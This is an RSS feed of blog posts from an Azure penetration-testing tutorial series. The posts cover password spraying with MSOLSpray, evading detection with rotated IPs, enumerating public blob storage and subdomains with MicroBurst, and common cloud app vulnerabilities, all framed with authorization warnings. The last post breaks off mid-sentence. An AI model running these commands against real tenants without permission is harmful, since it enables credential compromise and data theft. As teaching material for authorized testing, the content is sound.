<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ajith Rajendran on Medium]]></title>
        <description><![CDATA[Stories by Ajith Rajendran on Medium]]></description>
        <link>https://medium.com/@ajithcrajendran?source=rss-5f40ede18a25------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*eSEvCy1PoHVGN2x5f-mN1g@2x.jpeg</url>
            <title>Stories by Ajith Rajendran on Medium</title>
            <link>https://medium.com/@ajithcrajendran?source=rss-5f40ede18a25------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 06:58:07 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ajithcrajendran/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Finding Azure Credentials (Unauthenticated)]]></title>
            <link>https://medium.com/@ajithcrajendran/finding-azure-credentials-unauthenticated-e1027b762b3a?source=rss-5f40ede18a25------2</link>
            <guid isPermaLink="false">https://medium.com/p/e1027b762b3a</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[azure-active-directory]]></category>
            <category><![CDATA[azure]]></category>
            <dc:creator><![CDATA[Ajith Rajendran]]></dc:creator>
            <pubDate>Tue, 27 Jun 2023 11:52:56 GMT</pubDate>
            <atom:updated>2023-06-27T11:55:50.838Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://medium.com/@ajithcrajendran/identifying-vulnerabilities-in-azure-public-facing-services-9bbe80f9a484">Previous Section</a></p><p>Outside of finding vulnerabilities in an Azure application, or service, the most common option for gaining access to an Azure subscription is through guessed, stolen, or “found” credentials.</p><ul><li>Weak or default credentials are often the most common entry point for attackers to gain access to an Azure tenant.</li><li>Despite technological advancements, users still tend to use simple passwords, and administrators may overlook implementing robust identity security practices.</li><li>Password guessing attacks typically involve three steps: obtaining a list of usernames, obtaining a list of passwords, and executing a guessing strategy.</li><li>Attackers may gather usernames from various sources, such as leaked databases or social engineering techniques.</li><li>Password lists can be acquired from leaked databases, common password dictionaries, or generated based on common patterns and variations.</li><li>The guessing strategy involves systematically attempting combinations of usernames and passwords to gain unauthorized access.</li><li>It is essential for Azure administrators to enforce strong password policies, encourage the use of multi-factor authentication, and regularly educate users on the importance of secure password practices.</li><li>Implementing account lockout mechanisms, monitoring for suspicious login activity, and conducting regular security audits can help mitigate the risk of password guessing attacks in Azure environments.</li></ul><h3>Obtaining a username list</h3><ul><li>Organizations often have a defined naming convention for usernames and email addresses, such as &lt;firstname&gt;.&lt;lastname&gt;@company.com or &lt;firstname&gt;.&lt;lastname_initial&gt;@company.com.</li><li>The username format can sometimes be determined by analysing publicly available email addresses associated with the organization, such as those found on company websites, support channels, online employee profiles, and GitHub.</li><li>By combining the identified naming convention with additional information about company users available on platforms like LinkedIn, it becomes possible to construct a list of potential usernames for employees within the organization.</li><li>Past data breaches related to the organization can also provide valuable information for obtaining usernames or email addresses that were exposed in those incidents.</li><li>Understanding the organization’s username format can assist in performing targeted password guessing attacks or other social engineering techniques.</li><li>It’s important to note that using this information for malicious purposes is illegal and unethical. This knowledge should only be used within ethical hacking scenarios or with proper authorization during security assessments.</li></ul><h3>Obtaining a password list</h3><ul><li>When conducting password guessing attacks, it’s important to have a carefully selected list of passwords to try against user accounts.</li><li>One method is to use public lists of common passwords that have been compiled from previous data breaches. The UK National Cyber Security Center (NCSC) has published a list of the top 100,000 passwords from the Have I Been Pwned dataset, which can be accessed at: <a href="http://bit.ly/PwnedPasswordsTop100k">http://bit.ly/PwnedPasswordsTop100k</a>. Similar lists can be found online as well.</li><li>Alternatively, you can create a more targeted list of passwords based on your knowledge of the target organization or users. This can include common keywords, popular phrases, or patterns relevant to the organization or industry.</li><li>Keep in mind that organizations usually enforce password policies to ensure users choose moderately strong passwords. However, users often create passwords that barely meet the policy requirements, making them vulnerable to password guessing attacks.</li><li>An example is the password Winter2020, which satisfies common password requirements, such as minimum length (10 characters), complexity (mix of uppercase, lowercase, and numeric characters), and may align with password expiration policies if set to change every 90 days.</li><li>It’s important to note that password guessing attacks should only be performed with proper authorization and for legitimate security testing purposes. Using such techniques for unauthorized access or malicious activities is illegal and unethical.</li></ul><h3>Deciding on the guessing strategy</h3><ul><li>During a pentest engagement, various strategies can be employed to guess passwords.</li><li>Brute-force attack: This approach targets a smaller number of users and aims to cycle through as many passwords as possible. It involves trying common passwords, dictionary words, or randomly generated passwords. It’s important to consider any lockout policies in place that may temporarily disable an account after multiple failed attempts. Subtracting two from the lockout policy’s allowed failed attempts can provide users with a few chances to mistype their password without triggering a lockout.</li><li>Password spray attack: This technique involves using the same password against multiple usernames. To evade detection by security tools, it’s advisable to distribute the password guess attempts across different IP addresses. Tools like <a href="https://github.com/ustayready/fireprox">FireProx</a> can help rotate the source IP addresses by utilizing the AWS API Gateway service. However, it’s crucial to note that using FireProx may violate the AWS acceptable use policy and could result in issues with your AWS account.</li><li>It’s important to collaborate with the appropriate stakeholders, such as those responsible for the penetration test scope, to determine the most suitable password guessing strategy for the engagement.</li><li>It’s crucial to emphasize that password guessing attacks should only be performed with proper authorization and for legitimate security testing purposes. Unauthorized and malicious use of such techniques is illegal and unethical.</li></ul><h4>MSOLSpray</h4><p><a href="https://github.com/dafthack/MSOLSpray">MSOLSpray</a> the script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn’t exist, if a user doesn’t exist, if the account is locked, or if the account is disabled. is a PowerShell password spraying tool for Microsoft online accounts (Azure/Office365). The advantage of this tool is that, apart from detecting valid passwords, it also gives useful recon information relating to the account’s multi-factor authentication (MFA) status, if an account does not exist, if an account is locked or disabled, or if the password has expired.</p><ul><li>Open the PowerShell console, switch directories to your user’s directory, and clone the MSOLSpray GitHub repository using the following commands</li></ul><pre>git clone https://github.com/dafthack/MSOLSpray.git</pre><ul><li>Import the MSOLSpray PowerShell modules using the following commands:</li></ul><pre>cd .\MSOLSpray\<br>Import-Module .\MSOLSpray.ps1</pre><ul><li>Create a username list userlist.txt.</li><li>Run MSOLSpray against the user accounts using the following commands. Specify the password output that you made a note of earlier. You should see a success message for all the accounts, but you should also see the output for the accounts that you enabled MFA for:</li></ul><pre>Invoke-MSOLSpray -UserList .\userlist.txt -Password myPassword123</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e1027b762b3a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Identifying vulnerabilities in Azure public-facing services]]></title>
            <link>https://medium.com/@ajithcrajendran/identifying-vulnerabilities-in-azure-public-facing-services-9bbe80f9a484?source=rss-5f40ede18a25------2</link>
            <guid isPermaLink="false">https://medium.com/p/9bbe80f9a484</guid>
            <category><![CDATA[azure-active-directory]]></category>
            <category><![CDATA[azure-services]]></category>
            <category><![CDATA[azure]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ajith Rajendran]]></dc:creator>
            <pubDate>Thu, 22 Jun 2023 09:23:08 GMT</pubDate>
            <atom:updated>2023-06-27T11:55:28.509Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://medium.com/@ajithcrajendran/anonymous-service-identification-in-azure-7f94789dff5e">Previous Section</a></p><h3>Configuration-related vulnerabilities</h3><ul><li>Vulnerabilities in Azure can be categorized into different groups, and we will focus on two main sub-categories: Infrastructure as a Service (IaaS) and Platform-as-a-Service (PaaS) misconfigurations.</li><li>These misconfigurations are usually the result of human error, where mistakes in the configuration settings lead to security weaknesses.</li><li>IaaS misconfigurations can involve issues such as incorrectly configured virtual machines, storage accounts, or network security groups, which may expose sensitive information or allow unauthorized access to resources.</li><li>PaaS misconfigurations, on the other hand, can occur in services like Azure App Service, Azure SQL Database, or Azure Functions, where improper settings or access controls can lead to data leakage or unauthorized access to the platform.</li><li>Both IaaS and PaaS misconfigurations can have serious implications for the security of Azure environments, and they are often exploited by attackers to gain unauthorized access or extract sensitive information.</li><li>It is important to identify and remediate these misconfigurations to ensure the security and integrity of Azure resources. Regular security assessments and proper configuration management practices are crucial in mitigating these risks.</li></ul><h4>IaaS configuration-related vulnerabilities</h4><ul><li>Azure Infrastructure-as-a-Service (IaaS) services replace traditional infrastructure components and include resources like virtual machines (VMs), virtual machine scale sets, and Windows Virtual Desktops (WVDs).</li><li>These services can be deployed within a virtual network, connected to on-premises networks, or exposed to the internet using a public IP address.</li><li>To assess the security of these IaaS services, we can use the list of public IP addresses provided by the client, obtained from the commands mentioned in the Azure public IP address ranges section.</li><li>It’s important to ensure that the provided IP addresses are authorized for testing and belong to the client’s Azure environment.</li><li>When scanning the IP addresses, common vulnerability scanning tools can be used to identify potential vulnerabilities.</li><li>For virtual machines and WVDs, a common focus is on weak or default credentials for management ports.</li><li>It’s worth noting that misconfigurations and vulnerabilities can also extend beyond the Azure platform itself. For example, if an administrator misconfigures a service on a VM and exposes it to the internet, it can create a vulnerability that needs to be addressed.</li><li>Regular vulnerability assessments and proper configuration management are essential to identify and remediate these issues and maintain the security of Azure IaaS resources.</li></ul><h4>PaaS configuration-related vulnerabilities</h4><p>Using the list of enumerated Azure services from the previous section, we can start anonymously looking for vulnerabilities in those services.</p><p><strong>Storage accounts</strong></p><p>Storage accounts are Azure’s way of handling data storage in the cloud. These accounts consist of the following sub-services:</p><ul><li>Blob service: General HTTP/HTTPS file hosting</li><li>Files service: Attached data storage (SMB/NFS)</li><li>Table service: NoSQL semi-structured datasets</li><li>Queue service: HTTP/HTTPS message storage</li></ul><p>For example in enumeration if azurepentesting base word yielded a storage account named azurepentesting. There DNS records would be:</p><ul><li>Blob service: azurepentesting.blob.core.windows.net</li><li>Files service: azurepentesting.file.core.windows.net</li><li>Table service: azurepentesting.table.core.windows.net</li><li>Queue service: azurepentesting.queue.core.windows.net</li><li>When a storage account is created in Azure, four subdomains are allocated by default: Files, Table, Queue, and Blob.</li><li>It’s important to note that just because these subdomains are allocated doesn’t mean that all four services are actively used for data storage by the Azure customer.</li><li>Our task is to identify whether any of these services contain anonymously accessible data.</li><li>The Files, Table, and Queue services typically require authentication to access.</li><li>Instead, our focus will be on the Blob service, which allows administrators and developers to configure anonymous access to files stored within it.</li><li>By assessing the configuration of the Blob service, we can identify if there are any potential security risks related to anonymously accessible data.</li><li>Understanding the different storage services in Azure and their access control settings is crucial for identifying vulnerabilities and ensuring the proper protection of sensitive information.</li></ul><p><strong>Blob storage account permissions overview</strong></p><ul><li>The Blob service in Azure storage accounts is organized into containers, which act as folders for storing objects or data.</li><li>Objects within the Blob service can be accessed through an HTTP/HTTPS endpoint.</li><li>The URL for accessing an object in the Blob service is a combination of the storage account name, the container name, and the object name.</li><li>For example, if the storage account name is “azurepentesting,” the container name is “public,” and the object is “README.txt,” the URL to access the object would be: <a href="https://azurepentesting.blob.core.windows.net/public/README.txt.">https://azurepentesting.blob.core.windows.net/public/README.txt.</a></li><li>Understanding the structure of the Blob service URL is important when assessing the accessibility and security of objects stored within containers.</li><li>It allows us to navigate and analyze the data stored in the Blob service during the penetration testing process.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*d8gAN2bFLq9BHY5ALry7bA.png" /></figure><ul><li>Storage accounts in Azure can have multiple containers, each with its own public access level configuration.</li><li>The public access configuration options for containers are:<br> — Private: No anonymous access, requires authentication.<br> — Blob: Allows anonymous access to a specific object URL.<br> — Container: Allows listing and anonymous access to the files within the container.</li><li>While Blob container permissions can expose sensitive data, attackers would need to know the full filenames of the affected files to access them.</li><li>In cases where files are programmatically created with predictable naming formats, attackers may be able to infer the names of other files in the storage account, known as insecure direct object references (IDORs).</li><li>An attacker can perform a container and object name guessing attack using tools like Gobuster to see if objects are returned, although the chances of success are minimal.</li><li>The most concerning public access level is “container” as it allows anyone to list and access all the files within it.</li><li>By appending the ?restype=container&amp;comp=list parameters to the container URL, it is possible to list all the objects stored in that container.</li><li>This will return XML data containing information about the available files, which can be used to further access and analyze the objects within the container.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*lvZHvWtnxlay-4iDatU6qw.png" /></figure><ul><li>When we don’t have immediate knowledge of any containers in a storage account and want to explore from an unauthenticated perspective, we can use automated tools to guess the container names.</li><li>These tools can check whether the guessed containers allow container-level permissions.</li><li>If a container allows container-level permissions, we can proceed to list the available files within that container.</li><li>This approach helps in discovering potentially accessible files and exploring the storage account for sensitive information or vulnerabilities.</li></ul><p><strong>Identifying misconfigured blob containers using MicroBurst</strong></p><ul><li>Open a Powershell console as an administrator</li><li>Change your directory path to the MicroBurst directory and import the PowerShell functions using the commands:</li></ul><pre>cd .\Microburst\<br>Import-Module .\Microburst.psm1</pre><ul><li>Use the Invoke-EnumerateAzureBlobs function with a base word of azurepentesting to identify public storage accounts with containers that have the container access level configured:</li></ul><pre>Invoke-EnumerateAzureBlobs -Base azurepentesting</pre><ul><li>Download the contents of the objects directly using the following commands:</li></ul><pre>Invoke-WebRequest -Uri &quot;https://azurepentesting.blob. core.windows.net/public/README.txt&quot; -OutFile &quot;README.txt&quot;</pre><pre>Invoke-WebRequest -Uri &quot;https://azurepentesting.blob. core.windows.net/private/credentials.txt&quot; -OutFile &quot;credentials.txt&quot;</pre><ul><li>Read the content of one of the downloaded files.</li><li>In above command MicroBurst enumerated the storage account using common container names such as private and public. Unless otherwise specified in the command, the names used for the container name guesses will come from the permutations.txt file in the MicroBurst repository.</li></ul><pre>Get-Content .\Misc\permutations.txt</pre><ul><li>MicroBurst also allows us to specify custom container names using the Folders parameter. Create a custom container name list using the following command. Click Yes when prompted about creating a new file.</li></ul><pre>notepad customcontainer.txt</pre><ul><li>Add custom wordlist to the file.</li><li>Back in the PowerShell console, use the following command to enumerate potential public containers using any of the names in our custom name list.</li></ul><pre>Invoke-EnumerateAzureBlobs -Base azurepentesting -Folders .\customcontainer.txt</pre><h3>Patching-related vulnerabilities</h3><ul><li>Security patches are released regularly, and even though they are less commonly found, there are still plenty of services, applications, and virtual machines that miss these patches.</li><li>There are often forgotten or abandoned resources in Azure that may have unpatched vulnerabilities.</li><li>From an external perspective, scanning Azure virtual machines with public IPs for internet-facing services is common.</li><li>Network scanning tools can be used to fingerprint these services and identify the specific software versions hosting them.</li><li>Once the software version is known, vulnerability scanners such as Nessus or Nexpose, or basic Google searches, can help uncover potential vulnerabilities in these services.</li></ul><h3>Code-related vulnerabilities</h3><ul><li>The “cloudification” of existing applications and the shift towards cloud-native development are driving forces for organizations migrating to Azure.</li><li>Migrating legacy applications to the cloud may bring along old vulnerabilities that existed in the original applications.</li><li>Moving to the cloud does not automatically fix application vulnerabilities, and some existing vulnerabilities can become more impactful in a cloud environment.</li><li>The Azure platform can be abused by these vulnerabilities to escalate access and compromise the environment.</li><li>Certain vulnerabilities are particularly impactful in an Azure environment, and it is advisable to prioritize testing for these vulnerabilities.</li></ul><h4>SQL injection (SQLI)</h4><ul><li>SQL injection is a type of attack where an attacker injects malicious SQL queries into an application.</li><li>By exploiting SQL injection vulnerabilities, an attacker can potentially access sensitive information stored in the database.</li><li>The attacker can also manipulate the database to authenticate with their own credentials or execute arbitrary commands on the database server.</li><li>In an Azure environment, if a SQL database virtual machine is compromised through SQL injection, it can serve as a pivot point to access internal virtual networks.</li><li>This highlights the importance of securing SQL databases in Azure and implementing measures to prevent SQL injection vulnerabilities.</li></ul><h4>Local file include and directory traversal</h4><ul><li>Accessing local files on a web server can provide an attacker with sensitive configuration information.</li><li>In Azure, these configuration files may contain access keys for Azure services like Storage accounts.</li><li>By obtaining these access keys, an attacker can potentially gain unauthorized access to Azure services and pivot to other parts of the environment.</li><li>It is crucial to secure access keys and ensure that appropriate access controls are in place to prevent unauthorized access to configuration files.</li><li>Regular monitoring and auditing of access to configuration files can help detect any unauthorized access attempts.</li></ul><h4>Command injection</h4><ul><li>Command injection vulnerabilities can allow an attacker to execute arbitrary commands on an application server.</li><li>In a cloud environment like Azure, command injection can be particularly dangerous as it may provide access to additional resources within the subscription.</li><li>If the application server is using a managed identity, an attacker exploiting command injection may be able to generate an authorization token for that managed identity.</li><li>With the generated token, the attacker can assume the identity of the managed identity, potentially gaining elevated privileges and access to sensitive resources.</li><li>It is crucial to secure application servers and implement proper input validation and sanitization to mitigate the risk of command injection vulnerabilities.</li><li>Regular vulnerability scanning and penetration testing can help identify and address command injection vulnerabilities in an Azure environment.</li></ul><h4>Server-Side Request Forgery (SSRF)</h4><ul><li>Server-Side Request Forgery (SSRF) is an application vulnerability that enables an attacker to manipulate the server to make requests to other internal or external resources.</li><li>In AWS environments, SSRF has been exploited to retrieve IAM credentials by querying the EC2 metadata service.</li><li>In Azure, the metadata service operates differently and requires a specific header to be included in the requests for accessing sensitive information.</li><li>While command injection vulnerabilities in Azure can be leveraged to execute attacks involving the metadata service and retrieve credentials, SSRF attacks are not effective for this purpose.</li><li>It is important to understand the nuances of SSRF vulnerabilities and the specific behaviour of the metadata service in the target cloud environment to effectively assess and mitigate the associated risks.</li><li>Implementing proper input validation, access controls, and monitoring can help prevent and detect SSRF vulnerabilities in Azure applications. Regular security assessments and updates are also recommended.</li></ul><p><a href="https://medium.com/@ajithcrajendran/finding-azure-credentials-unauthenticated-e1027b762b3a">Next Section</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9bbe80f9a484" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Anonymous service identification in Azure]]></title>
            <link>https://medium.com/@ajithcrajendran/anonymous-service-identification-in-azure-7f94789dff5e?source=rss-5f40ede18a25------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f94789dff5e</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[azure]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[azure-active-directory]]></category>
            <dc:creator><![CDATA[Ajith Rajendran]]></dc:creator>
            <pubDate>Wed, 21 Jun 2023 12:54:11 GMT</pubDate>
            <atom:updated>2023-06-22T09:23:58.061Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://medium.com/@ajithcrajendran/accessing-the-azure-cloud-b01d26765922">Previous Section</a></p><h3>Azure public IP address ranges</h3><ul><li>Microsoft Azure, like other public cloud providers, enables the assignment of internet-accessible IP addresses to Azure resources</li><li>Public IP addresses can be allocated to various Azure resources, including virtual machine network interfaces, internet-facing load balancers, VPN gateways, application gateways, and Azure firewall instances</li><li>Public IP addresses can be categorized as either static or dynamic</li><li>Dynamic public IP addresses have the potential to change during the lifespan of the Azure resource to which they are assigned</li><li>Static public IP addresses, on the other hand, remain constant throughout the lifespan of the Azure resource</li><li>The allocation of public IP addresses provides organizations with the means to establish internet connectivity and enable external access to their Azure resources</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*ebdWolmLhfQd_KgFPoijYg.png" /></figure><ul><li>As an Azure penetration tester, your objective is to discover resources within an organization’s Azure Infrastructure-as-a-Service (IaaS) environment and assess their attack surface area</li><li>Scanning the allocated public IP addresses of the Azure environment from the internet is a common method to identify these resources</li><li>For an authorized engagement, the organization should provide you with a list of the current allocated public IP addresses in their Azure subscriptions to ensure you only target their resources and avoid impacting other Azure customers</li><li>To obtain the list of allocated public IP addresses using Azure CLI.</li></ul><pre>az network public-ip list --query &#39;[].[name, ipAddress, publicIpAllocationMethod]&#39; -o table</pre><ul><li>To obtain the list of allocated public IP addresses using Az PowerShell module</li></ul><pre>Get-AzPublicIpAddress | Select Name,IpAddress,PublicIpAllocationMethod</pre><ul><li>It is important to note that dynamically allocated public IP addresses can change over time, so they may no longer be assigned to the organization you are testing. In such cases, targeting DNS host names is recommended, as they will automatically update with the new IP addresses.</li><li>Performing public IP scans immediately after gathering the IP addresses is advised to ensure the accuracy of the results.</li><li>External adversaries often discover Azure targets by leveraging publicly available information. The Microsoft Azure network team publishes a JSON file containing public IP address ranges for all Azure regions and public services. This file is updated weekly with new ranges. Adversaries may obtain and parse this list using tools like JQ, and then perform scans using tools like Nmap to identify the attack surface area.</li><li>In the upcoming exercises, we will simulate the process of anonymously discovering Azure targets using publicly available information, allowing you to learn and understand the techniques involved.</li></ul><blockquote>Microsoft strongly discourages scanning public IP ranges that are not allocated to your Azure subscription, or that you do not have the authorization of the owner to scan. The next exercise is for educational purposes only. Do not scan the addresses without the written legal permission of the assigned owner!</blockquote><h3>Parsing Azure public IP addresses using PowerShell</h3><ul><li>Within your pentest VM, open a web browser and browse to <a href="https://www.microsoft.com/en-us/download/details.aspx?id=56519">https://www.microsoft.com/en-us/download/details.aspx?id=56519</a> (you can also use this shortened URL: <a href="http://bit.ly/azureipranges">http://bit.ly/azureipranges</a>).</li><li>Click on the Download button to obtain the current list of Azure public IP address ranges. This will download a JSON file that contains a list of the public IP address ranges by region and by service.</li><li>In the window that is displayed, right-click on click here to download manually, and then click on Copy link address to obtain the URL to the JSON file.</li><li>In the PowerShell console of your pentest VM, download the JSON file using the following commands. Replace &lt;json_url&gt; with the URL that you obtained.</li></ul><pre>cd C:\Users\$env:USERNAME\ Invoke-WebRequest -O azure_ip_range.json</pre><ul><li>For example, we will use PowerShell to filter the public IP address ranges for all the services in the Azure UK South region. This will return a list of IP ranges that an attacker could scan to determine the open ports and the listening services on those ports.</li></ul><pre>$jsonData = gc .\azure_ip_range.json | ConvertFrom-Json ($jsonData | select -ExpandProperty values | where name -EQ AzureCloud.uksouth).properties.addressPrefixes</pre><ul><li>Next, try filtering the public IP address ranges used by a specific service (Azure App Service instances) in the UK South region. An attacker could obtain these IP ranges and scan them for web application vulnerabilities, as Azure App Service resources are typically used to host web applications and APIs.</li></ul><pre>($jsonData | select -ExpandProperty values | where name -EQ AppService.UKSouth).properties.addressPrefixes</pre><ul><li>An attacker could obtain the IP ranges and scan them for open ports and listening services to understand the attack surface area. Using the examples in Steps 5 and 6, try out other queries to identify the public IP ranges for other Azure services and regions.</li></ul><blockquote>To “just make things work,” some Azure administrators/engineers may open up wide ranges of IPs that have been assigned to different Azure regions to allow virtual machines to communicate. This may also allow you to reach those same systems from a VM in the right region. If you have authenticated access to the Azure environment, keep an eye out for Azure IP ranges in the network security group rules that you may be able to take advantage of.</blockquote><h3>Azure platform DNS suffixes</h3><ul><li>Many Azure platform services utilize public DNS suffixes owned and managed by Microsoft.</li><li>When an Azure customer creates a resource instance, it is assigned a subdomain of the associated DNS suffix in the format of &lt;resource instance name&gt;.&lt;service dns suffix name&gt;.</li><li>For example, the public DNS suffix for Azure Blob storage service is blob.core.windows.net. If a storage account named azurepentesting is created, the fully qualified domain name (FQDN) of that instance will be azurepentesting.blob.core.windows.net.</li><li>It is important to note that some DNS suffixes are regional, while others are global.</li><li>Regional DNS suffixes follow the format &lt;dns label&gt;.&lt;region&gt;.cloudapp.azure.com.</li><li>For example, if a public IP resource is created with an associated DNS label in the Azure UK South region, the FQDN of that resource will be &lt;dns label&gt;.uksouth.cloudapp.azure.com.</li><li>Understanding the FQDN structure helps in identifying and accessing Azure resources.</li></ul><p>Commonly found DNS domains and their associated services:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zslHOH3JtMn22AT33_eWNQ.png" /></figure><p>To anonymously enumerate platform services in Azure:</p><ol><li>Determine base-word search terms to work with. This will usually be linked with the name of the Azure customer that you are engaged with or known terms that are associated with the organization; for example, packt, azurepentesting, azurept, and so on.</li><li>Create permutations on the base words to identify potential subdomain names; for example, packt-prod, packt-dev, azurepentesting-stage, azurept-qa, and so on.</li><li>Enumerate subdomains that match these permutations using a tool such as MicroBurst, Gobuster, or DNSscan.</li></ol><h4>Using MicroBurst to enumerate PaaS services</h4><ul><li>Start a Powershell with admin privileges.</li><li>Download MicroBurst:</li></ul><pre>git clone https://github.com/NetSPI/MicroBurst.git</pre><ul><li>Import the MicroBurst module into your PowerShell session with the following commands:</li></ul><pre>cd .\MicroBurst\</pre><pre>Import-Module .\MicroBurst.psm1</pre><ul><li>The MicroBurst toolkit will import different PowerShell functions depending on which PowerShell modules you have installed on your system.</li><li>Use the Invoke-EnumerateAzureSubDomains function to identify potential targets that have a base name of azurepentesting.</li></ul><pre>Invoke-EnumerateAzureSubDomains -Base azurepentesting</pre><h3>Custom domains and IP ownership</h3><ul><li>Azure services provide the option for customers to use custom domains.</li><li>Some hosts may have redirects or transparent proxies configured to conceal the fact that the services are hosted in Azure.</li><li>During penetration testing, it is crucial to accurately determine the location of your targets, as it can significantly impact the scope of your assessment.</li><li>For example, your authorized external penetration test scope may include specific IP addresses and hostnames within a given environment. If these targets are hosted in Azure, it will affect the approach you take when attacking those particular resources.</li><li>Understanding the hosting environment, including any custom domains or obfuscation techniques, is essential for effective targeting and testing.</li></ul><h3>Cloud IP Checker</h3><ul><li>Cloud IP Checker is a tool written in Go that allows you to check IP addresses against the published Azure IP ranges and service tags.</li><li>When an IP address matches a published range, the tool provides information about the corresponding Azure service and its region.</li><li>The tool can be used as a published API or self-hosted to suit your needs.</li><li>Another tool that offers similar functionality is AzureIPCheck, developed by Leron Gray. It is a Python-based tool and can be found on GitHub at <a href="https://github.com/daddycocoaman/azureipcheck">https://github.com/daddycocoaman/azureipcheck</a>.</li><li>Both tools provide valuable capabilities for verifying IP addresses against Azure’s published ranges and can assist in identifying Azure services associated with specific IPs.</li></ul><pre>Invoke-WebRequest https://cloudipchecker.azurewebsites.net/api/servicetags/manual?ip= -UseBasicParsing | Select-Object -ExpandProperty Content</pre><h3>Subdomain takeovers</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*f1rS9I_9600Qts0CafL-Xw.png" /></figure><ul><li>Subdomain takeovers are an important consideration when discussing Azure platform DNS enumeration.</li><li>In some cases, when applications hosted in Azure are reconfigured or content sources are changed, the initial Azure endpoints and associated DNS records may not be properly cleaned up.</li><li>This can result in requests going out to non-existent Azure subdomains.</li><li>Attackers can potentially exploit this situation by recreating the affected resource in Azure and claiming the subdomain.</li><li>By delivering content through the affected website, attackers can achieve various malicious outcomes such as site defacement, stored cross-site scripting (XSS), or redirects to malicious content.</li><li>Subdomain takeovers are commonly observed in bug bounties and can have significant impacts on the security of public-facing systems.</li><li>Azure Blob, CDN, Traffic Manager, and App Services are some of the frequently vulnerable services when it comes to subdomain takeovers, although other services with a public DNS suffix can also be affected.</li><li>Understanding subdomain takeovers is crucial for identifying vulnerabilities in custom domain setups within Azure and assessing their potential risks.</li></ul><p><a href="https://medium.com/@ajithcrajendran/identifying-vulnerabilities-in-azure-public-facing-services-9bbe80f9a484">Next Section</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f94789dff5e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Accessing the Azure Cloud]]></title>
            <link>https://medium.com/@ajithcrajendran/accessing-the-azure-cloud-b01d26765922?source=rss-5f40ede18a25------2</link>
            <guid isPermaLink="false">https://medium.com/p/b01d26765922</guid>
            <category><![CDATA[azure-active-directory]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cloud-services]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[azure]]></category>
            <dc:creator><![CDATA[Ajith Rajendran]]></dc:creator>
            <pubDate>Tue, 20 Jun 2023 10:12:09 GMT</pubDate>
            <atom:updated>2023-06-21T12:55:33.583Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://medium.com/@ajithcrajendran/understanding-the-azure-rbac-structure-7666529209ff">Previous Section</a></p><h3>Azure Portal</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*U_lCd1SijhGfnllp9PwZgA.gif" /></figure><p>Accessing Azure via Azure Portal:</p><ul><li>Azure Portal is a web-based interface provided by Microsoft to manage and interact with Azure resources. It serves as a centralized control panel for Azure services</li><li>To access Azure Portal, open a web browser and navigate to the Azure Portal website: <a href="https://portal.azure.com/">https://portal.azure.com</a></li><li>Sign in with your Azure account credentials. This can be either a personal Microsoft account or a work/school account associated with an Azure AD tenant</li><li>After signing in, you will be redirected to the Azure Portal dashboard. The dashboard provides an overview of your resources and offers various tools and services to manage your Azure environment</li><li>The left-hand navigation menu provides access to different categories of Azure services, including Compute, Networking, Storage, Databases, Security, and more. Clicking on a category expands it to show the available services within that category</li><li>To create a new Azure resource, click on the “+ Create a resource” button on the Azure Portal dashboard or navigate to the desired service from the left-hand navigation menu and click on the “Create” button</li><li>In the Azure resource creation wizard, you can choose the desired service, configure its settings, and provide any required information. The specific steps and options may vary depending on the selected service</li><li>Once a resource is created, it will be listed in the corresponding category or resource group. You can click on the resource to view its details, manage its settings, and perform various actions</li><li>Azure Portal provides a search bar at the top to quickly search for specific resources, services, or features. You can enter keywords related to your search query, and Azure Portal will display relevant results</li><li>Azure Portal also offers features such as Azure Cloud Shell, which provides a command-line interface within the portal, and Azure Monitor, which allows monitoring and diagnostics of your Azure resources</li><li>Additionally, Azure Portal provides access to Azure Marketplace, where you can find and deploy pre-configured applications, virtual machine images, and other solutions from Microsoft and third-party vendors</li><li>To log out of Azure Portal, click on your account name at the top-right corner of the portal and select “Sign out” from the dropdown menu</li></ul><p>Using Azure Portal:</p><ul><li>Azure Portal provides a 